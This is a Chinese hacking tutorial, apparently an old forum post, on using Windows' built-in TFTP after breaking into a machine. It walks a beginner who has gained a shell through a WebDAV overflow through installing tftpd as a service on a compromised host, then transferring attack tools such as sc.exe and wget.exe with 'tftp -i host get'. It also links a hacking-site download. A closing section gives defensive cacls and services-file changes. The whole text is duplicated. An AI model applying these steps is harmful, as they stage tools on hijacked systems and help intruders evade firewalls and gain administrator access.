Tftp安装使用全接触
菜鸟A通过时下比较流行的webdav漏洞进行溢出攻击得到了一个shell,但是在加了管理员帐户后他却发现发现建立了管理员帐户之后却不能ipc$连接,在cmd下又不能开启ipc$,提示启动错误。那么怎么上传文件呢?菜鸟听人说过可以用ftp,但是由于cmd环境下ftp是不能实现交互的,所以这样反而会害了人,输入ftp后,cmd停在那里不动了?菜鸟傻眼了;也有人说是用echo命令写一个从指定ftp下载程序的文件,然后通过ftp –s:file命令来下载,这个通过实践是可行的,但是菜鸟又觉得有点麻烦。怎么办?
这时,一个声音在耳边响起:用tftp吧,给你快乐。Tftp?!@#$^&*,菜鸟想了一会,不得其解。听说过ftp,那tftp又是什么呢?那么今天我就给菜鸟们讲解下它的安装使用过程以及在入侵中的作用和自己的心得体会。
一. TFTP简介:
Tftp是Trivial File Transfer Protocol的简称,翻译为简单文件传输协议,它是TCP/IP协议族中的一个用来在客户机与服务器之间进行简单文件传输的协议,虽然功能有点少,但是在我们的入侵中帮助还是很大的。
Tftp与Win2K自带的Ftp服务器和目前流行的Serv-u所不同的是Tftp是承载在UDP端口;与Ftp相比,TFTP的大小要小的多;缺陷是它提供的数据流传输服务是不可*的,它不提供存取授权与认证机制,使用超时重传方式来保证数据的到达,使用的是UDP 69端口。但是由于它采用的是UDP端口,很容易摆脱防火墙的限制和IP安全策略对端口的审核,可以在入侵的时候灵活的使用,这也就是我向大家介绍它的原因了。
二:TFTP服务的开启:
也许你还记得经典的unicode漏洞,利用这个漏洞可以在浏览器里执行命令,可以通过tftp上传idq.dll,然后结合ispc.exe来获取管理员权限。但是你知道tftp服务器不是很容易找的,但是话又说回来了,既然Tftp.exe是微软自带的一个比较可爱的小工具,那么我们就可以利用它来做点事,为肉鸡开启Tftp服务,那就不用愁着找不到tftp服务器了。我们可以在Win2k的Winnt/system32下找到Tftp.exe,还可以在WINNT/system32/dllcache下找到Tftp.exe。当然你可以在命令行下输入:dir %windir%/tftp* /s(表示在%windir%目录所有子目录搜索tftp前缀程序)。我的机子反馈的信息是这样的:
驱动器 C 中的卷没有标签。卷的序列号是 287C-D610
C:/WINNT/system32 的目录
2002-07-22 12:05 17,680 tftp.exe
1 个文件 17,680 字节
C:/WINNT/system32/dllcache 的目录
2002-07-22 12:05 17,680 tftp.exe
2001-08-22 08:00 19,728 tftpd.exe
2 个文件 37,408 字节
大家也看到了,这里出现了一个Tftpd.exe程序,没有错,它是tftp服务器的服务端程序。怎么开启肉鸡的tftp服务呢,双击运行?-install?这里我们需要ResourceKit里的一个工具instsrv.exe把tftp安装为服务,instsrv是命令行下的工具,srvinstw.exe是它的gui版本,看图
1:我们来看它的说明:
C:/Longker>instsrv.exe
Installs and removes system services from NT
INSTSRV <service name> (<exe location> | REMOVE) [-a <Account Name>] [-p <Account Password>]
Install service example:
INSTSRV MyService C:/MyDir/DiskService.Exe
-OR-
INSTSRV MyService C:/mailsrv/mailsrv.exe -a MYDOMAIN/joebob -p foo
Remove service example:
INSTSRV MyService REMOVE
那我们就把tftp安装为服务:
C:/Longker>instsrv "Tftp services" c:/winnt/system32/dllcache/tftpd.exe
The service was successfuly added!
Make sure that you go into the Control Panel and use
the Services applet to change the Account Name and
Password that this newly installed service will use
for its Security Context.
就这样,我们把tftp服务安装上了,服务名是Tftp services,下面来启动它:
C:/Longker>net start "tftp services"
Tftp services 服务正在启动。
Tftp services 服务已经启动成功。
OK,服务已经启动成功了,我们可以用fport来查看端口开启的情况:
1524 tftpd -> 69 UDP c:/winnt/system32/dllcache/tftpd.exe
看到了,它是采用UDP协议来进行文件传输的,开启的端口是69。
或者我们可以用以下命令来查询:
C:/Longker >netstat -an |find "69"
netstat -an |find "69"
UDP 202.xx.xx.165:69 *:*
服务启动成功后,会在系统跟目录下生成tftpdroot文件夹,我们上传和提供下载的文件就放在这里。
这里有一个很好的Tftp服务器推荐给大家,有日志记录和目录设定功能,还显示传输进度,最重要的是它是免费的,而且可以在多个平台使用
下载地址http://5ihack.vicp.net:88/down/show.asp?id=219
三:如何使用Tftp:
TFTP 自带的帮助信息:
TFTP [-i] host [GET | PUT] source [destination]
-i Specifies binary image transfer mode (also called
octet). In binary image mode the file is moved
literally, byte by byte. Use this mode when transferring binary files.
host Specifies the local or remote host.
GET Transfers the file destination on the remote host to
the file source on the local host.
PUT Transfers the file source on the local host to
the file destination on the remote host.
source Specifies the file to transfer.
destination Specifies where to transfer the file.
说明:
-i选项是以二进制模式传送文件,很多Exploit代码就需要用这种模式来传送。
Host是开启了tftp服务的主机,可以是本地主机也可以是远程主机。
get就是到当前运行的目录里面下载,而put就是把文件上传到了开了tftp服务的机子。Source是你要上传或者是下载的文件名称。
下面举几个列子:
C:/Longker>tftp -i 202.xx.xx.165 get sc.exe
tftp -i 202.xx.xx.165 get sc.exe
Transfer successful: 63248 bytes in 1 second, 63248 bytes/s
这个是从开了tftp服务的主机下载sc.exe程序,速度不错吧 :)
C:/Longker>tftp -i 202.xx.xx.165 put sc.exe
tftp -i 202.xx.xx.165 put sc.exe
Transfer successful: 63248 bytes in 1 second, 63248 bytes/s
上面是把sc.exe上传到tftp服务器。
四:相关问题解答:
由于tftp是微软自带的,所以我们入侵了一台机子后,可以使用它来上传我们所要用到的工具,而不用下载其他的工具了。那么刚才菜鸟的问题也就迎刃而解了,我们可以用tftp下载我们需要的工具,或者是只用tftp下载wget.exe(一个可以从web服务器下载程序的小型工具),然后用wget下载自己实现准备好的工具包。
前面的问题是解决了,但是或许菜鸟还会遇到些问题,比如要把上传的文件删除的时候却出现了错误提示:拒绝访问!怎么回事?我自己上传的文件却不能删除,太假了。那是因为用tftp上传下载的文件默认是具有只读属性的,所以我们在删除前需要用attrib –R 来去掉它的只读属性。
大家也知道,很多网络蠕虫或黑客攻击程序都尝试通过某种漏洞获得命令行的运行权限,而这些获得权限的过程中,蠕虫往往是通过Windows自带的tftp客户端程序去获取一些需要的攻击程序或后门程序,如nc之类的工具。较新的比如是现在热门的asp木马,也可以利用cmd.asp调用tftp来下载工具,进而获取系统管理员权限。注重安全的读者也许会问,那万一我的机子也被入侵了,怎么了防止入侵者使用tftp呢?我这里介绍两种方法给大家。
1:可以用cacls来限制用户对程序的访问
C:/>cacls
显示或者修改文件的访问控制表(ACL)
CACLS filename [/T] [/E] [/C] [/G user:perm] [/R user [...]]
[/P user:perm [...]] [/D user [...]]
filename 显示 ACL。
/T 更改当前目录及其所有子目录中指定文件的 ACL。
/E 编辑 ACL 而不替换。
/C 在出现拒绝访问错误时继续。
/G user:perm 赋予指定用户访问权限。
Perm 可以是: R 读取W 写入C 更改(写入) F 完全控制
/R user 撤销指定用户的访问权限(仅在与 /E 一起使用时合法)。
/P user:perm 替换指定用户的访问权限。
Perm 可以是: N 无R 读取W 写入C 更改(写入) F 完全控制
/D user 拒绝指定用户的访问。
在命令中可以使用通配符指定多个文件。也可以在命令中指定多个用户。
相关帮助信息如上,那我们可以禁止iusr_computername用户对tftp.exe的运行权限。
C:/>cacls c:/winnt/system32/tftp.exe /D iusr_computername
C:/>cacls c:/winnt/system32/dllcache/tftp.exe /D iusr_computername
是否确定(Y/N)?y
处理的文件: c:/winnt/system32/tftp.exe
处理的文件: c:/winnt/system32/dllcache/tftp.exe
C:/>tftp
拒绝访问。
显然我们达到了我们的目的。类似的我们可以禁止iusr用户对cmd.exe的调用。
2:我们能不能把tftp删除以绝后患呢?不行,因为在WIN2K下,tftp.exe之类的系统关键程序受到Windows File Protection系统的保护,无法直接更改。这里我们介绍另外一种方法,
用文本编辑工具打开%systemroot%/system32/drivers/etc下的service文件找到对应的tftp那一行:
bootps 67/udp dhcps #Bootstrap Protocol Server
bootpc 68/udp dhcpc #Bootstrap Protocol Client
tftp 69/udp #Trivial File Transfer
将 69/udp 替换成 0/udp保存退出。我们再尝试看看能否使用tftp了?
怎么样,提示“timeout occurred了吧,也达到了我们的目的了
菜鸟A通过时下比较流行的webdav漏洞进行溢出攻击得到了一个shell,但是在加了管理员帐户后他却发现发现建立了管理员帐户之后却不能ipc$连接,在cmd下又不能开启ipc$,提示启动错误。那么怎么上传文件呢?菜鸟听人说过可以用ftp,但是由于cmd环境下ftp是不能实现交互的,所以这样反而会害了人,输入ftp后,cmd停在那里不动了?菜鸟傻眼了;也有人说是用echo命令写一个从指定ftp下载程序的文件,然后通过ftp –s:file命令来下载,这个通过实践是可行的,但是菜鸟又觉得有点麻烦。怎么办?
这时,一个声音在耳边响起:用tftp吧,给你快乐。Tftp?!@#$^&*,菜鸟想了一会,不得其解。听说过ftp,那tftp又是什么呢?那么今天我就给菜鸟们讲解下它的安装使用过程以及在入侵中的作用和自己的心得体会。
一. TFTP简介:
Tftp是Trivial File Transfer Protocol的简称,翻译为简单文件传输协议,它是TCP/IP协议族中的一个用来在客户机与服务器之间进行简单文件传输的协议,虽然功能有点少,但是在我们的入侵中帮助还是很大的。
Tftp与Win2K自带的Ftp服务器和目前流行的Serv-u所不同的是Tftp是承载在UDP端口;与Ftp相比,TFTP的大小要小的多;缺陷是它提供的数据流传输服务是不可*的,它不提供存取授权与认证机制,使用超时重传方式来保证数据的到达,使用的是UDP 69端口。但是由于它采用的是UDP端口,很容易摆脱防火墙的限制和IP安全策略对端口的审核,可以在入侵的时候灵活的使用,这也就是我向大家介绍它的原因了。
二:TFTP服务的开启:
也许你还记得经典的unicode漏洞,利用这个漏洞可以在浏览器里执行命令,可以通过tftp上传idq.dll,然后结合ispc.exe来获取管理员权限。但是你知道tftp服务器不是很容易找的,但是话又说回来了,既然Tftp.exe是微软自带的一个比较可爱的小工具,那么我们就可以利用它来做点事,为肉鸡开启Tftp服务,那就不用愁着找不到tftp服务器了。我们可以在Win2k的Winnt/system32下找到Tftp.exe,还可以在WINNT/system32/dllcache下找到Tftp.exe。当然你可以在命令行下输入:dir %windir%/tftp* /s(表示在%windir%目录所有子目录搜索tftp前缀程序)。我的机子反馈的信息是这样的:
驱动器 C 中的卷没有标签。卷的序列号是 287C-D610
C:/WINNT/system32 的目录
2002-07-22 12:05 17,680 tftp.exe
1 个文件 17,680 字节
C:/WINNT/system32/dllcache 的目录
2002-07-22 12:05 17,680 tftp.exe
2001-08-22 08:00 19,728 tftpd.exe
2 个文件 37,408 字节
大家也看到了,这里出现了一个Tftpd.exe程序,没有错,它是tftp服务器的服务端程序。怎么开启肉鸡的tftp服务呢,双击运行?-install?这里我们需要ResourceKit里的一个工具instsrv.exe把tftp安装为服务,instsrv是命令行下的工具,srvinstw.exe是它的gui版本,看图
1:我们来看它的说明:
C:/Longker>instsrv.exe
Installs and removes system services from NT
INSTSRV <service name> (<exe location> | REMOVE) [-a <Account Name>] [-p <Account Password>]
Install service example:
INSTSRV MyService C:/MyDir/DiskService.Exe
-OR-
INSTSRV MyService C:/mailsrv/mailsrv.exe -a MYDOMAIN/joebob -p foo
Remove service example:
INSTSRV MyService REMOVE
那我们就把tftp安装为服务:
C:/Longker>instsrv "Tftp services" c:/winnt/system32/dllcache/tftpd.exe
The service was successfuly added!
Make sure that you go into the Control Panel and use
the Services applet to change the Account Name and
Password that this newly installed service will use
for its Security Context.
就这样,我们把tftp服务安装上了,服务名是Tftp services,下面来启动它:
C:/Longker>net start "tftp services"
Tftp services 服务正在启动。
Tftp services 服务已经启动成功。
OK,服务已经启动成功了,我们可以用fport来查看端口开启的情况:
1524 tftpd -> 69 UDP c:/winnt/system32/dllcache/tftpd.exe
看到了,它是采用UDP协议来进行文件传输的,开启的端口是69。
或者我们可以用以下命令来查询:
C:/Longker >netstat -an |find "69"
netstat -an |find "69"
UDP 202.xx.xx.165:69 *:*
服务启动成功后,会在系统跟目录下生成tftpdroot文件夹,我们上传和提供下载的文件就放在这里。
这里有一个很好的Tftp服务器推荐给大家,有日志记录和目录设定功能,还显示传输进度,最重要的是它是免费的,而且可以在多个平台使用
下载地址http://5ihack.vicp.net:88/down/show.asp?id=219
三:如何使用Tftp:
TFTP 自带的帮助信息:
TFTP [-i] host [GET | PUT] source [destination]
-i Specifies binary image transfer mode (also called
octet). In binary image mode the file is moved
literally, byte by byte. Use this mode when transferring binary files.
host Specifies the local or remote host.
GET Transfers the file destination on the remote host to
the file source on the local host.
PUT Transfers the file source on the local host to
the file destination on the remote host.
source Specifies the file to transfer.
destination Specifies where to transfer the file.
说明:
-i选项是以二进制模式传送文件,很多Exploit代码就需要用这种模式来传送。
Host是开启了tftp服务的主机,可以是本地主机也可以是远程主机。
get就是到当前运行的目录里面下载,而put就是把文件上传到了开了tftp服务的机子。Source是你要上传或者是下载的文件名称。
下面举几个列子:
C:/Longker>tftp -i 202.xx.xx.165 get sc.exe
tftp -i 202.xx.xx.165 get sc.exe
Transfer successful: 63248 bytes in 1 second, 63248 bytes/s
这个是从开了tftp服务的主机下载sc.exe程序,速度不错吧 :)
C:/Longker>tftp -i 202.xx.xx.165 put sc.exe
tftp -i 202.xx.xx.165 put sc.exe
Transfer successful: 63248 bytes in 1 second, 63248 bytes/s
上面是把sc.exe上传到tftp服务器。
四:相关问题解答:
由于tftp是微软自带的,所以我们入侵了一台机子后,可以使用它来上传我们所要用到的工具,而不用下载其他的工具了。那么刚才菜鸟的问题也就迎刃而解了,我们可以用tftp下载我们需要的工具,或者是只用tftp下载wget.exe(一个可以从web服务器下载程序的小型工具),然后用wget下载自己实现准备好的工具包。
前面的问题是解决了,但是或许菜鸟还会遇到些问题,比如要把上传的文件删除的时候却出现了错误提示:拒绝访问!怎么回事?我自己上传的文件却不能删除,太假了。那是因为用tftp上传下载的文件默认是具有只读属性的,所以我们在删除前需要用attrib –R 来去掉它的只读属性。
大家也知道,很多网络蠕虫或黑客攻击程序都尝试通过某种漏洞获得命令行的运行权限,而这些获得权限的过程中,蠕虫往往是通过Windows自带的tftp客户端程序去获取一些需要的攻击程序或后门程序,如nc之类的工具。较新的比如是现在热门的asp木马,也可以利用cmd.asp调用tftp来下载工具,进而获取系统管理员权限。注重安全的读者也许会问,那万一我的机子也被入侵了,怎么了防止入侵者使用tftp呢?我这里介绍两种方法给大家。
1:可以用cacls来限制用户对程序的访问
C:/>cacls
显示或者修改文件的访问控制表(ACL)
CACLS filename [/T] [/E] [/C] [/G user:perm] [/R user [...]]
[/P user:perm [...]] [/D user [...]]
filename 显示 ACL。
/T 更改当前目录及其所有子目录中指定文件的 ACL。
/E 编辑 ACL 而不替换。
/C 在出现拒绝访问错误时继续。
/G user:perm 赋予指定用户访问权限。
Perm 可以是: R 读取W 写入C 更改(写入) F 完全控制
/R user 撤销指定用户的访问权限(仅在与 /E 一起使用时合法)。
/P user:perm 替换指定用户的访问权限。
Perm 可以是: N 无R 读取W 写入C 更改(写入) F 完全控制
/D user 拒绝指定用户的访问。
在命令中可以使用通配符指定多个文件。也可以在命令中指定多个用户。
相关帮助信息如上,那我们可以禁止iusr_computername用户对tftp.exe的运行权限。
C:/>cacls c:/winnt/system32/tftp.exe /D iusr_computername
C:/>cacls c:/winnt/system32/dllcache/tftp.exe /D iusr_computername
是否确定(Y/N)?y
处理的文件: c:/winnt/system32/tftp.exe
处理的文件: c:/winnt/system32/dllcache/tftp.exe
C:/>tftp
拒绝访问。
显然我们达到了我们的目的。类似的我们可以禁止iusr用户对cmd.exe的调用。
2:我们能不能把tftp删除以绝后患呢?不行,因为在WIN2K下,tftp.exe之类的系统关键程序受到Windows File Protection系统的保护,无法直接更改。这里我们介绍另外一种方法,
用文本编辑工具打开%systemroot%/system32/drivers/etc下的service文件找到对应的tftp那一行:
bootps 67/udp dhcps #Bootstrap Protocol Server
bootpc 68/udp dhcpc #Bootstrap Protocol Client
tftp 69/udp #Trivial File Transfer
将 69/udp 替换成 0/udp保存退出。我们再尝试看看能否使用tftp了?
怎么样,提示“timeout occurred了吧,也达到了我们的目的了